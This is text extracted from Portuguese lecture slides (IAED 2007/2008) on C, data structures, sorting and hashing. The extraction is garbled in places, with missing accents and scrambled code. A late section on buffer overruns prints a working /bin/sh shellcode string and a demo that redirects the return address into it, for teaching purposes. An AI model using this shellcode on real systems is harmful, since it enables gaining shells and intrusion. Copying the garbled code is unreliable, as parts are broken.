struct iitem *next;
};
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr first = NULL;
static IntItemPtr alloc_item()
{
return (IntItemPtr) malloc(sizeof(IntItem));
}
void init() { first = NULL; }
Remoo de Elemento
int delete(int value)
{
IntItemPtr px, py;
for (px = first, py = px; px;
py = px, px = px->next)
if (px->value == value) {
if (px == first)
first = first->next;
else
py->next = px->next;
free(px);
return 1;
}
return 0;
}
Parte VII
K&R Cap. 7
Bibliotecas do C
Funes para input/output
Input/Ouput standard
Output formatado
Listas de argumentos variveis
Input formatado
Acesso a ficheiros
Input/Output de linhas
Funes para strings
Funes para teste e converso de caracteres
Funes para reserva de memria
Funes matemticas
IAED 2007/2008 p.298/569
Input/Output Standard
int getchar(void)
Retorna o prximo caracter do input de defeito (input
standard), ou EOF caso o fim do ficheiro tenha sido
detectado.
int putchar(int c)
Coloca o caracter c no output de defeito (output
standard). A funo retorna o caracter escrito, ou EOF
caso um erro tenha sido detectado.
#include <stdio.h>
Declara a utilizao de funes da biblioteca de
input/output.
Output Formatado
int printf(char *format, arg1, ..., argN)
Escreve arg1, ..., argN, de acordo com formato
format
Cada argumento escrito de acordo com uma
especificao de converso, iniciada pelo caracter
% e terminada por um caracter:
Caracteres vlidos:
d, i, o, x, X, u, c, s, f, e, E, g, G, p, %
Exemplo
:%s:
:%10s:
:%.10s:
:%-10s:
:%.15s:
:%-15s:
:%15.10s:
:%-15.10s:
:hello, world:
:hello, world:
:hello, wor:
:hello, world:
:hello, world:
:hello, world
:
:
hello, wor:
:hello, wor
:
Input Formatado
int scanf(char *format, arg1, ..., argN)
L caracteres do input, interpreta os caracteres de
acordo com a especificao format, e coloca os
resultados em arg1, ..., argN
obrigatoriamente ponteiros
arg1, ..., argN sao
Input/Output Formatado
Exemplo:
Data 2003/04/01 lida atravs de:
scanf("%d/%d/%d", &y,&m, &d);
int sscanf(char *str, char *format, arg1,
..., argN)
Equivale a scanf, mas l argumentos de uma string
str
obrigatoriamente ponteiros
arg1, ..., argN sao
Acesso a Ficheiros
#include <stdio.h>
FILE *fopen(char *name, char *mode)
Abre ficheiro, de acordo com modo mode e retorna
ponteiro para acesso a ficheiro
Leitura/Escrita de caracteres:
int fgetc(FILE *fp)
int fputc(int c, FILE *fp)
Leitura/Escrita formatada:
int fscanf(FILE *fp, char *fmt, ...)
int fprintf(FILE *fp, char *fmt, ...)
Fecho de ficheiro:
int fclose(FILE *fp)
IAED 2007/2008 p.305/569
Acesso a Ficheiros
Ponteiros para acesso a ficheiros de defeito:
stdin Input de defeito
stdout Output de defeito
stderr
Escrita de mensagens de erro de defeito
Utilizado com exit(int) para tratamento de erros
Macros comuns:
#define getchar() getc(stdin)
#define putchar(c) putc((c),stdout)
int ungetc(int c, FILE *fp)
Devolve caracter a ficheiro. Retorna EOF em caso de
erro, ou ento c. Apenas um caracter pode ser
devolvido, entre leituras de outros caracteres.
int ferror(FILE *fp); int feof(FILE *fp)
Input/Output de Linhas
#include <stdio.h>
char *fgets(char *line, int maxline, FILE
*fp)
L linha (incluindo \n) do ficheiro fp. Em caso de
EOF ou erro retorna NULL; caso contrrio retorna
linha
int fputs(char *line, FILE *fp)
Escreve linha para o ficheiro fp. Linha no
necessita ser terminada por \n. Retorna 0, ou EOF
em caso de erro
gets(), para stdin, e puts(), para stdout
Reserva de memria
#include <stdlib.h>
void *malloc(size_t n)
Retorna ponteiro para n bytes no inicializados, ou
NULL se pedido falha
void *calloc(size_t n, size_t size)
Retorna ponteiro para array com n objectos de
tamanho size, inicializados a 0, ou NULL se pedido
falha
Funes Matemticas
#include <math.h>
1000
1000
1224.46s */
3.93s */
Parte VIII
Sedgewick, Cap. 2
Crescimento de Funes
Parmetro primrio: N
grau de polinmio, tamanho de ficheiro, nmero de
caracteres em string, etc.
usual analisar o tempo de execuo de algoritmos
como funo de um nico parmetro
Crescimento de Funes
Tempos de execuo tpicos:
1 Se o nmero de instrues de um programa
for executado um nmero limitado/constante
de vezes.
log N Tempo de execuo de um programa logartmico. Quando um problema resolvido
atravs da resoluo de um conjunto de subproblemas.
N Tempo de execuo de um programa linear. Quando existe algum processamento para
cada elemento de entrada.
N log N Quando um problema resolvido atravs da
resoluo de um conjunto de sub-problemas, e
combinando posteriormente as suas solues.
IAED 2007/2008 p.324/569
Crescimento de Funes
Tempos de execuo tpicos (cont.):
N2
N3
2N
Crescimento de Funes
segundos
102
1.7 minutos
104
2.8 horas
105
1.1 dias
106
1.6 semanas
107
3.8 meses
108
3.1 anos
109
3.1 dcadas
1010
3.1 sculos
1011
nunca
Crescimento de Funes
Operaes
/ segundo
106
109
1012
N = 106
N
N log N
N2
segundos segundos semanas
imediato
imediato
horas
imediato
imediato segundos
Crescimento de Funes
Operaes
/ segundo
106
109
1012
N = 1012
N
N log N
N2
horas
horas
nunca
segundos segundos dcadas
imediato
imediato semanas
Crescimento de Funes
log N
3
7
10
13
20
N
N
N log N
N2
3
10
33
100
10
100
664
10000
32
1000
9966
1000000
100
10000
132877
100000000
1000 1000000 19931569 1000000000000
Notao Assimpttica
Limite Assimpttico Superior:
Uma funo g(N ) diz-se O(f (N )) se existirem c0 e
N0 tal que g(N ) < c0 f (N ) para N > N0 .
c0 f (N )
g(N )
N0
Notao Assimpttica
Permite:
Limitar erro de ignorar termos menores em
expresses matemticas
Limitar erro de ignorar partes de um programa, as
quais tm contribuio pequena para tempo de
execuo
Classificar algoritmos em termos dos seus limites
assimptticos superiores dos tempos de execuo
Exemplos Notao O
g(n) = 0.1 n3 + 1000 n2 + 25 109
O(n ) para 3.
O(n ) para 3.
O(n ) para > 2.
O(n2 log n).
/* sem repetir... */
Recorrncias
Permitem modelar tempo de execuo de funes
baseadas na decomposio de um problema num
conjunto de outros problemas
Exemplo 1: Analisar input para eliminar um elemento
CN = CN 1 + N , para N 2, C1 = 1
CN = CN 2 + (N 1) + N
= CN 3 + (N 2) + (N 1) + N
..
.
= 1 + 2 + . . . + (N 1) + N
N (N + 1)
=
2
= O(N 2 )
IAED 2007/2008 p.340/569
Recorrncias Exemplo 2
Funo recursiva que a cada passo divide o input a
metade
CN = CN/2 + 1 para N 2, C1 = 1.
Considerar N = 2n .
C2n =
=
=
..
.
=
C2n1 + 1
C2n2 + 1 + 1
C2n3 + 3
C20 + n = n + 1
CN = log N + 1 para N = 2n .
Recorrncias Exemplo 3
Funo recursiva que a cada passo divide o input em
duas metades, mas que analisa todo o input
CN = 2 CN/2 + N para N 2, C1 = 0.
Considerar N = 2n .
Exemplos Factorial
long fact(int n)
{
return (n > 1) ? n*fact(n-1) : 1;
}
g(N )
c0 f (N )
N0
c2 f (N )
N0
(n3 ).
(n3 ).
No (n ) para 6= 3.
No (n ) para > 3.
g(n) = n2 log n35 + 106 n2 + 25 109
Parte IX
Sedgewick, Cap. 3
Tipos bsicos
Inteiros
Reais
Caracteres
Ponteiros
short a1;
int a2;
long a3;
float x1;
double x2;
char c1;
int *p1;
Tipos compostos
Estruturas
struct point {
float x;
float y;
};
Unies
struct line_point {
int type;
union {
struct point {
float x,y;
}
struct line {
float x1,y1;
float x2,y2;
}
}
};
Tabelas
Coleco de items
Inteiros, reais, caracteres
Estruturas ou unies
Tabelas, Ponteiros
Guardados em posies consecutivas de memria
int tab[n];
n1
Tabelas
Em C, tabelas podem ser:
De dimenso fixa
Alocadas dinamicamente
#define N 100
int tab1[N];
int *tab2 = malloc(n*sizeof(int));
Apagamento em listas
t = x>next;
x
t
x>next = t>next;
x
t
Insero em listas
t>next = x>next;
t
x>next = t;
x
Inverso de lista
link reverse(link x)
{ link t, y = x, r = NULL;
while (y != NULL)
{ t = y->next; y->next = r; r = y; y = t; }
return r;
}
Amontoados
Uma rvore est heap-ordered se a chave de cada n
for maior ou igual s chaves dos seus filhos
X
Amontoados
X
1 2 3 4 5 6 7 8 9 10 11 12
X T O G S M N A E R A I
Parente do n i o n i/2
Filhos do n i so os ns 2i e 2i + 1
IAED 2007/2008 p.375/569
Fila de prioridades
#include <stdlib.h>
#include "Item.h"
static Item *pq;
static int N;
void PQinit(int maxN)
{ pq = malloc((maxN+1)*sizeof(Item)); N = 0; }
int PQempty()
{ return N == 0; }
void PQinsert(Item v)
{ pq[++N] = v; fixUp(pq, N); }
Item PQdelmax()
{
exch(pq[1], pq[N]);
fixDown(pq, 1, N-1);
return pq[N--];
}
Heapsort
#define pq(A) a[l-1+A]
void heapsort(Item a[], int l, int r)
{ int k, N = r-l+1;
for (k = N/2; k >= 1; k--)
fixDown(&pq(0), k, N);
while (N > 1)
{ exch(pq(1), pq(N));
fixDown(&pq(0), 1, --N); }
}
Parte X
Sedgewick, Cap. 4
Tipos Abstractos
Necessidade de tipos de dados abstractos
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
Tipos Abstractos
Necessidade de tipos de dados abstractos
Objectos
Pilhas
Exemplos de clientes
ADTs para FIFOs e filas
ADTs para Union-Find
Exemplo de abstraco
Comparao
Para inteiros, operao x1 == x2
Para strings, operao !strcmp(x1,x2)
Soluo:
Para inteiros:
typedef int Item;
#define eq(A,B) (A == B)
Para strings:
typedef char* Item;
#define eq(A,B) (!strcmp(A,B))
ADT Stack
Definio da interface
void STACKinit(int);
int STACKempty();
void STACKpush(Item);
Item STACKpop();
Projecto de ADTs
Trs problemas separados:
Definio da interface
Implementao do ADT
Projecto e implementao do cliente
Exemplo: Union-Find ADT
Interface do Union-Find
void UFinit(int);
int UFfind(int, int);
int UFunion(int, int);
Implementao do Union-Find
#include <stdlib.h>
#include "UF.h"
static int *id, *sz;
void UFinit(int N)
{ int i;
id = malloc(N*sizeof(int));
sz = malloc(N*sizeof(int));
for (i = 0; i < N; i++)
{ id[i] = i; sz[i] = 1; }
}
static int find(int x)
{ int i = x;
while (i != id[i]) i = id[i]; return i; }
int UFfind(int p, int q)
{ return (find(p) == find(q)); }
Implementao do Union-Find
int UFunion(int p, int q)
{ int i = find(p), j = find(q);
if (i == j) return;
if (sz[i] < sz[j])
{ id[i] = j; sz[j] += sz[i]; }
else { id[j] = i; sz[i] += sz[j]; }
}
i;
== 2)
id[i]) ;
id[j]) ;
Weighted version
Complexidade: O(M log N), (M operaes, N ns)
#include <stdio.h>
#define N 10000
main()
{ int i, j, p, q, id[N], sz[N];
for (i = 0; i < N; i++)
{ id[i] = i; sz[i] = 1; }
while (scanf("%d %d\n", &p, &q) == 2)
{
for (i = p; i != id[i]; i = id[i]) ;
for (j = q; j != id[j]; j = id[j]) ;
if (i == j) continue;
if (sz[i] < sz[j])
{ id[i] = j; sz[j] += sz[i]; }
else { id[j] = i; sz[i] += sz[j]; }
printf(" %d %d\n", p, q);
}
}
IAED 2007/2008 p.403/569
Path compression
#include <stdio.h>
#define N 10000
main()
{ int i, j, p, q, id[N], sz[N];
for (i = 0; i < N; i++)
{ id[i] = i; sz[i] = 1; }
while (scanf("%d %d\n", &p, &q) == 2)
{
for (i = p; i != id[i]; i = id[i])
{ int t = i; i = id[id[t]]; id[t] = i; }
for (j = q; j != id[j]; j = id[j])
{ int t = j; j = id[id[t]]; id[t] = j; }
if (i == j) continue;
if (sz[i] < sz[j])
{ id[i] = j; sz[j] += sz[i]; }
else { id[j] = i; sz[i] += sz[j]; }
printf(" %d %d\n", p, q);
}
}
IAED 2007/2008 p.404/569
PQinit(int);
PQempty();
PQinsert(Item);
PQdelmax();
Parte XI
Sedgewick, Cap. 5, 12, 13
rvores Binrias
Estrutura de dados elementar
rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
Procura em rvores binrias
rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
Procura em rvores binrias
Manipulao eficiente
rvores Binrias
Estrutura de dados elementar
Mtodos de travessia de rvores
Procura em rvores binrias
Manipulao eficiente
Exemplos de clientes
Tabela de Smbolos
Insero de um item
Procura por dada chave
Apagamento de um item
Aplicaes:
Tabelas de smbolos
Dicionrios para traduo de termos
Pesquisa em rvores
#include <stdlib.h>
#include "Item.h"
typedef struct STnode* link;
struct STnode { Item item; link l, r; int N };
static link head, z;
link NEW(Item item, link l, link r, int N)
{ link x = malloc(sizeof *x);
x->item = item; x->l = l; x->r = r; x->N = N;
return x;
}
void STinit()
{ head = (z = NEW(NULLitem, 0, 0, 0)); }
int STcount() { return head->N; }
Item searchR(link h, Key v)
{ Key t = key(h->item);
if (h == z) return NULLitem;
if eq(v, t) return h->item;
if less(v, t) return searchR(h->l, v);
else return searchR(h->r, v);
}
IAED 2007/2008 p.427/569
Pesquisa em rvores
Item STsearch(Key v)
{ return searchR(head, v); }
link insertR(link h, Item item)
{ Key v = key(item), t = key(h->item);
if (h == z) return NEW(item, z, z, 1);
if less(v, t)
h->l = insertR(h->l, item);
else h->r = insertR(h->r, item);
(h->N)++; return h;
}
void STinsert(Item item)
{ head = insertR(head, item); }
C
R
Insero na raz
Insere novo n numa folha
Usa rotaes para colocar novo n na raz da rvore
link insertT(link h, Item item)
{ Key v = key(item);
if (h == z) return NEW(item, z, z, 1);
if (less(v, key(h->item)))
{ h->l = insertT(h->l, item); h = rotR(h); }
else
{ h->r = insertT(h->r, item); h = rotL(h); }
return h;
}
Pesquisas em BST
Geralmente eficient: O(log N)
No pior caso, O(n) para uma rvore desequilibrada:
Ordem de insero: 1,2,3,4,5,6,7,8
No caso de chaves aleatrias, O(log N)
Comparao com pesquisa binria em tabelas:
Tempo de pesquisa comparvel
Tempo de insero muito mais rpido
Tempo de pesquisa e insero so O(N) no pior caso
(rvore degenerada)
Uso de aleatoriedade
Se as chaves forem uniformemente distribudas, um
novo n fica na raz com probabilidade 1/(1+N)
Quando se insere um n, coloca-se na raz com
probabilidade 1/(1+N)
link insertR(link h, Item item)
{ Key v = key(item), t = key(h->item);
if (h == z) return NEW(item, z, z, 1);
if (rand()< RAND_MAX/(h->N+1))
return insertT(h, item);
if less(v, t) h->l = insertR(h->l, item);
else h->r = insertR(h->r, item);
(h->N)++; return h;
}
void STinsert(Item item)
{ head = insertR(head, item); }
rvores Red-Black
RBT com n ns internos tem profundidade O(log(n)).
h(v) = profundidade da rvore com raz em v ;
bh(v) = nmero de ns de cr preta no caminho de v
para qualquer folha (sem contar com v , se tiver cr
preta);
uma rvore com raz em v tem pelo menos 2bh(v) 1
ns internos;
pelo menos metade dos ns em qualquer caminho
da raz at s folhas preto, logo bh(v) h(v)/2;
n2
h(v)
2
1 log(n + 1)
h(v)
2
h(v) 2log(n + 1)
rvores Red-Black
rvores Red-Black
Equilibrada por construo: O caminho mais longo da
raz at qualquer folha tem no pior caso comprimento
igual ao dobro do comprimento do caminho mais curto
da raz at qualquer folha. Porqu ?
Procura: igual ao procedimento para BST, mas mais
rpido porque a rvore est equilibrada.
Insero, remoo: mais complexo.
Parte XII
Sedgewick, Cap. 6
Nomenclatura [1]
Parmetro de interesse - tempo de execuo
regra - O(N2 ) para ordenar N items
mas se N pequeno podem ser os melhores
Mas desempenho em memria tambm interessa
ordenao in-place
utilizando memria adicional
Nomenclatura [2]
:
Definicao
Nomenclatura [3]
:
Definicao
key(A) (A)
less(A, B) (key(A) < key(B))
exch(A, B) { Item t = A; A = B; B = t; }
compexch(A, B) if (less(B, A)) exch(A, B)
Exemplo:
Selection Sort
void selection(Item a[], int l, int r)
{ int i, j;
for (i = l; i < r; i++)
{ int min = i;
for (j = i+1; j <= r; j++)
if (less(a[j], a[min])) min = j;
exch(a[i], a[min]);
}
}
Exemplo:
Selection Sort
A cada passo, escolher o menor entre os r l i + 1
maiores elementos.
Para cada valor de i do primeiro ciclo, segundo ciclo
executado r i vezes
Tempo de execuo:
Comparaes: N 2 /2, trocas: N
No pior caso O(N 2 ), com N = r l
No melhor caso, O(N 2 ), com N = r l
Algoritmo estavel
i.e. ordem relativa de chaves duplicadas mantida
Insertion Sort
void insertion(Item a[], int l, int r)
{ int i;
for (i = l+1; i <= r; i++) compexch(a[l], a[i]);
for (i = l+2; i <= r; i++)
{ int j = i; Item v = a[i];
while (less(v, a[j-1]))
{ a[j] = a[j-1]; j--; }
a[j] = v;
}
}
Exemplo:
Insertion Sort
Primeiro ciclo coloca menor valor na posio l, o qual
depois serve como sentinela
reduz constantes do segundo ciclo
Para cada i, os primeiros i elementos ficam ordenados
Tempo de execuo:
No pior caso, O(N 2 ), com N = r l, i.e. vector j
ordenado por ordem inversa
No melhor caso O(N ), com N = r l, i.e. vector j
ordenado
Algoritmo estvel
Bubble Sort
void bubble(Item a[], int l, int r)
{ int i, j;
for (i = l; i < r; i++)
for (j = r; j > i; j--)
compexch(a[j-1], a[j]);
}
Exemplo:
Bubble Sort
Para cada valor de i no primeiro ciclo, segundo ciclo
executado r i + 1 vezes
Comparao
Pior caso
Selection Insertion Bubble
Comparaes
N 2 /2
N 2 /2
N 2 /2
Trocas Chaves
N
N 2 /2
N 2 /2
Caso mdio
Selection Insertion Bubble
Comparaes
N 2 /2
N 2 /4
N 2 /2
Trocas Chaves
N
N 2 /4
N 2 /2
Comparao [2]
Tabelas com poucos elementos fora de ordem
Insertion e Bubble sort so quase lineares
os melhores algoritmos de ordenao podem ser
quadrticos
Contexto onde elementos so grandes e chaves
pequenas
Selection linear no nmero de dados
N dados com tamanho M (palavras/words)
custos: comparao - 1 unidade; troca - M unidades
N 2 /2 comparaes e NM custo de trocas
termo NM domina - custo proporcional ao tempo
necessrio para mover os dados
Alternativa: uso de ponteiros
IAED 2007/2008 p.466/569
Avaliao Experimental
N Selection Insertion Bubble
1000
5
4
11
2000
21
15
45
4000
85
62
182
Exemplo:
Parte XIII
Sedgewick, Cap. 7-10
QuickSort [2]
Aplica mtodo dividir para conquistar para ordenar
Ideia chave: efectuar partio dos dados e ordenar as
vrias partes independentemente (de forma recursiva)
particionar os dados: menores para um lado,
maiores para outro
usar recuro e aplicar algoritmo a cada uma das
partes
processo de partio crtico
evitar parties degeneradas
QuickSort - Partio
Recebe vector a e a parte do vector a ordenar - [l, r]
Rearranja os elementos do vector de forma a que as
trs condies seguintes sejam vlidas (de a[l] a a[r]):
o elemento a[i], para algum i, fica na sua posio
final
nenhum dos elementos em a[l]...a[i 1] maior do
que a[i]
nenhum dos elementos em a[i + 1]...a[r] menor do
que a[i]
processo coloca pelo menos um elemento na sua
posio final (Qual?)
Aps partio, a tabela fica sub-dividida em duas
partes que podem ser ordenadas independentemente
aplicando o mesmo processo
IAED 2007/2008 p.483/569
Bottom-Up
ASORTINGEXAMPLE
AS
OR
AORS
IT
GN
GINT
AGINORST
EX
AM
AEMX
LP
ELP
AEELMPX
AAEEGILMNOPRSTX
ASORTINGEXAMPLE
AS
OR
IT
GN
EX
AM
LP
AORS
GINT
AEMX
ELP
AGINORST
AEELMPX
AAEEGILMNOPRSTX
Heap Sort
#define pq(A) a[l-1+A]
void heapsort(Item a[], int l, int r)
{ int k, N = r-l+1;
for (k = N/2; k >= 1; k--)
fixDown(&pq(0), k, N);
while (N > 1)
{ exch(pq(1), pq(N));
fixDown(&pq(0), 1, --N); }
}
Avaliao Experimental
N Quick Merge Heap
12500
2
5
3
25000
7
11
8
50000
13
24
18
100000
27
52
42
200000
58
111
100
400000
122
238
232
800000
261
520
542
Counting Sort I
void distcount(int a[], int l, int r)
{ int i, j, cnt[M+1];
int b[maxN];
for (j = 0; j <= M; j++) cnt[j] = 0;
for (i = l; i <= r; i++) cnt[a[i]+1]++;
for (j = 1; j < M; j++) cnt[j] += cnt[j-1];
for (i = l; i <= r; i++) b[cnt[a[i]]++] = a[i];
for (i = l; i <= r; i++) a[i] = b[i];
}
Counting Sort II
void distcount(int a[],
{ int i, j, cnt[M];
int b[maxN];
for (j = 0; j < M;
for (i = l; i <= r;
for (j = 1; j < M;
for (i = r; i >= l;
for (i = l; i <= r;
}
int l, int r)
j++)
i++)
j++)
i--)
i++)
cnt[j] = 0;
cnt[a[i]]++;
cnt[j] += cnt[j-1];
b[--cnt[a[i]]] = a[i];
a[i] = b[i];
Diferenas??
Definio do valor cnt[j]
Estabilidade do algoritmo ??
Para strings:
#define digit(A, B)
A[B]
Memria adicional?
IAED 2007/2008 p.506/569
Binary Quicksort
quicksortB(int a[], int l, int r, int w)
{ int i = l, j = r;
if (r <= l || w > bitsword) return;
while (j != i)
{
while (digit(a[i], w) == 0 && (i < j)) i++;
while (digit(a[j], w) == 1 && (j > i)) j--;
exch(a[i], a[j]);
}
if (digit(a[r], w) == 0) j++;
quicksortB(a, l, j-1, w+1);
quicksortB(a, j, r, w+1);
}
void sort(Item a[], int l, int r)
{
quicksortB(a, l, r, 0);
}
Memria adicional?
IAED 2007/2008 p.507/569
cdc bbc bcd abc aba bad dac dab dca cdb cda
IAED 2007/2008 p.508/569
bad bbc bcd abc aba cdc cda cdb dca dab dac
quicksortX(a, l, j, D);
if ((i == r) && (ch(a[i]) == v)) i++;
if (v != \0) quicksortX(a, j+1, i-1, D+1);
quicksortX(a, i, r, D);
}
aba abc bad bbc bcd cda cdb cdc dab dac dca
IAED 2007/2008 p.509/569
Avaliao Experimental
Ordenao de N inteiros (32-bit):
bytes
4-bit
8-bit
16-bit
N Quick MSD LSD MSD LSD
LSD
12500
2
7
11
28
4
5
25000
5
14
21
29
8
8
50000
10
49
43
35
18
15
100000
21
77
92
47
39
30
200000
49
133 185
72
81
56
400000
102
278 377
581 169
110
800000
223
919 732 6064 328
219
Parte XIV
Sedgewick, Cap. 14
Tabelas de Disperso
Funes de disperso
Tabelas de Disperso
Funes de disperso
Encadeamento externo
Tabelas de Disperso
Funes de disperso
Encadeamento externo
Procura linear
Tabelas de Disperso
Funes de disperso
Encadeamento externo
Procura linear
Double hashing (disperso dupla)
Tabelas de Disperso
Funes de disperso
Encadeamento externo
Procura linear
Double hashing (disperso dupla)
Eficincia da procura
Definicao:
Definicao:
Funo de Disperso
Deve distribuir as chaves de forma uniforme e quase
aleatria
Deve ser rpida de calcular
Deve envolver todos os bits da chave
Diferentes funes devem ser usadas para diferentes
tipos de dados
Cadeias de caracteres
Inteiros
Reais
Para reais:
escalar para a gama [0, 1.0];
multiplicar por 2w , para obter um inteiro de w bits, k ;
obter hash(k) = k mod M ;
70
14
707
1
2
hash(k) = k mod 7
4
5
19
75
70
14
72
77
hash(k) = k mod 7
4
5
19
75
IAED 2007/2008 p.526/569
Remoo de Items
Aps achar o item, coloca-se a posio a NULL
Reinserem-se todos os items que se seguem, at
prxima posio vazia
void STdelete(Item item)
{ int j, i = hash(key(item), M); Item v;
while (!null(i))
if eq(key(item), key(st[i])) break;
else i = (i+1) % M;
if (null(i)) return;
st[i] = NULLitem; N--;
for (j = i+1; !null(j); j = (j+1) % M, N--)
{ v = st[j]; st[j] = NULLitem; STinsert(v); }
}
1
(1)2 )
hit
miss
1
1
hit
miss
Parte XV
Tpicos Finais
Tpicos Finais
Hacking em C
Buffer Overruns
...
Concursos de Programao
IOCCC
XP@IST / MIUP / SWERC ACM-ICPC
Buffer Overruns
O C no verifica os limites dos arrays
possvel alterar posies de memria fora das
posies de um array
possvel alterar cdigo ou executar outro cdigo
utilizando esta possibilidade
por vezes possvel ter acesso a uma shell com
privilgios de root
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
char buffer2[10]
10 byte
char buffer1[5]
5 byte
0xbfae487f
variveis
locais
0xbfae4884
0xbfae488d
0xbfae4890
0xbfae4894
0xbfae4898
8 byte
return address
4 byte
int a
4 byte
int b
4 byte
int c
4 byte
endereo
de retorno
parmetros
da funo
Acesso a Shell
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Buffer Overruns
possvel efectuar o overflow de outro programa e
executar um nosso que nos d uma shell
possvel conseguir executar uma shell como root
IOCCC
International Obfuscated C Code Contest
Exemplos de cdigo imperceptvel, com
funcionalidade complexa
Pssimos exemplos de qualidade da programao;
mas bons exemplos das potencialidades do C (e dos
programadores!)
Exemplo I Maze
#define r return
char*u0="<RET> to begin... ",*u1="Already been here!",*u2="Found a wall! \
",*u3="Walking...
",*u4="Finished.
",*u5="Going back..\
.
",*o="\033[23;1HDone!!\n",*x="\033[2J",*y="\033[1;1H",*z="\033[%d;%\
dH%c",*w="\033[1;1H%s",*v="\033[%d;%dH%c\033[%d;%dH%c\033[%d;%dH%c",
b[1841];int c,d,e,f,g;typedef int(*h)();h i,j,k,l,m,n;int printf(),
srand(),rand(),time(),getchar();int main(int a){i=printf,j=srand,
k=rand,l=time,m=getchar,n=main;if(!c)for(j(l(0)),g=a=1000,--d;++d<1840;
b[c=d]=" #\n"[d%80==79?2:d/80&&d%80&&d/80-22&&d%80-78]);if(!(c-1839))++c,
i("%s%s%s",x,y,b);k:if(!(c-1840)&&(b[a+2]+b[a-2]+b[a+160]+
b[a-160]-4* )){while(b[a+(f=(e=k()%4)?e-1?e-2?-1:1:-80:80)*2]!=
#);b[a]=b[a+f]=b[f+a+f]= ;i(v,a/80+1,1+a%80, ,(a+f)/80+1,1+
(a+f)%80, ,(f+a+f)/80+1,1+(f+a+f)%80, );n(f+a+f);goto k;}
else if(!(g-a))c=1,a=162,i(w,u0),m();if(c-1){}else r b[a]!= ?
(i(w,b[a]==.?u1:u2),0):(b[a]=.,i(w,u3),i(z,a/80+1,1+a%80,.),
a==1676?(i(w,u4),i(o),1):n(a+1)||n(a+80)||n(a-80)||n(a-1)?1:
(b[a]= ,i(w,u5),i(z,a/80+1,1+a%80, ),0));r 0;}
Exemplo II Factoriais
#include <stdio.h>
#define l11l 0xFFFF
#define ll1 for
#define ll111 if
#define l1l1 unsigned
#define l111 struct
#define lll11 short
#define ll11l long
#define ll1ll putchar
#define l1l1l(l) l=malloc(sizeof(l111 llll1));l->lll1l=1-1;l->ll1l1=1-1;
#define l1ll1 *lllll++=l1ll%10000;l1ll/=10000;
#define l1lll ll111(!l1->lll1l){l1l1l(l1->lll1l);l1->lll1l->ll1l1=l1;}\
lllll=(l1=l1->lll1l)->lll;ll=1-1;
#define llll 1000
Exemplo II Factoriais
lll1l,*ll1l1
;l1l1
llll];};main
(){l111 llll1
l1, *ll1l, *
malloc ( ) ; l1l1
ll11l l11,ll ,l;l1l1 lll11 *lll1,*
=1-1 ;l< 14; ll1ll("\t\"8)>l\"9!.)>vl"
);scanf("%d",&l);l1l1l(l1l) l1l1l(ll11
lll[l1l->lll[1-1]
=1]=l11l;ll1(l11
++l11){l1=ll11;
lll1 = (ll1l=(
lll; lllll =(
l1l=l1)->lll;
);ll1(;ll1l->
lll1l||l11l!=
+=l11**lll1++
;l1ll1 ll111
l1lll lll1=(
ll1l =ll1l->
}}ll1(;l1ll;
){l1ll1 ll111
{ l1lll} } *
lllll=l11l;}
ll1(l=(ll=11);(l<llll)&&
(l1->lll[ l]
!=l11l);++l);
l1->ll1l1,l=
llll){ll1(--l
++ll)printf(
(ll)?((ll%19)
19,"\n%04d")
):"%4d",l1->
l111 llll1 {
l111 llll1 *
lll11 lll [
*ll11,*l1l,*
ll11l l1ll ;
lllll; ll1(l
[l]L),++l
) (l1=l1l)->
=1+1;l11<=l;
ll11=l1l))->
ll=(l1ll=1-1
*lll1;){l1ll
(++ll>llll){
lll1l)->lll;
(++ll>=llll)
ll1 (;l1;l1=
;l>=1-1;--l,
?"%04d":(ll=
IAED 2007/2008 p.548/569
lll[l] ) ; }
#define O B F U S C A T E D
#define I 8;}t(p){r(p?W:o);XClearWindow(V,m);}main(i,f)char**f;{M((T(h=f),
#define K Y(o,XMapRaised(V,e);)x=3;x--;)for(y=3;y--;r(G))XMapRaised(V,R[D]
#define N z(x+i,(z(H-x-i,x),x)))x<i||z(x-i,x)|z(H-x+i,x)Y(W,)l=k;l>20&&l>x
#define XIMOfIC Z;XID(*w)()=XCreateWindow,m,e,o[2],W[2],G[2],R[2][O]);}GC*g
#define E (++D)));}r(XID*z){XSetWindowBackgroundPixmap(V=d[D],m=R[D][x][y],z[
#define L ;XStoreName(V,e=w(V,RootWindow(V,s),0,0,152,152,2,0,1,0,0,0),"II"+D
#define B 3][3];Display*V,*d[2];char**h,k=25,b[2500],H=50,D,s,x,y,i;T(){float
#define S +k),z(k-P=w(V,e,H*x,H*y,H,H,1,0,1,0,2048,&c));}XEvent J;M(){XFlush(
#define Y(z,y) ;for(z[D]=XCreatePixmapFromBitmapData(Q,x=0,H*H);x<H;x++)y for(
#define A x][y]&&!b[x+k*y]++?t(D),t(!(D=1)):D);M();}z(x,y){b[x/8+y*7]|=1<<x%I
#define P x,y)-z(y,x+k)+z(y,k-x)*z(x+k,y=H-y),z(k-x,y),z(y,k-x),z(y,k+x)K[x][y
#define Q V,e,b,H,H,BlackPixel(V,s),WhitePixel(V,s),DefaultDepth(V,s)),memset(
#define C d[!D]);x=3;for(XNextEvent(V,&J);x--;)for(y=3;y--;J.xany.window==R[D]
#define F l;XSetWindowAttributes c;s=XDefaultScreen(V=d[D]=XOpenDisplay(*(h+=!
#define U *h)))L)Y(G,)i=c.event_mask=4;i--;x+i>H||N;l-=.5)z(x+k,y=sqrt(l*l-x*x
#include <math.h>
#include <X11/Xlib.h>
Concursos de Programao
XP@IST:
Permite seleccionar equipas do IST para participar na
MIUP / SWERC
MIUP:
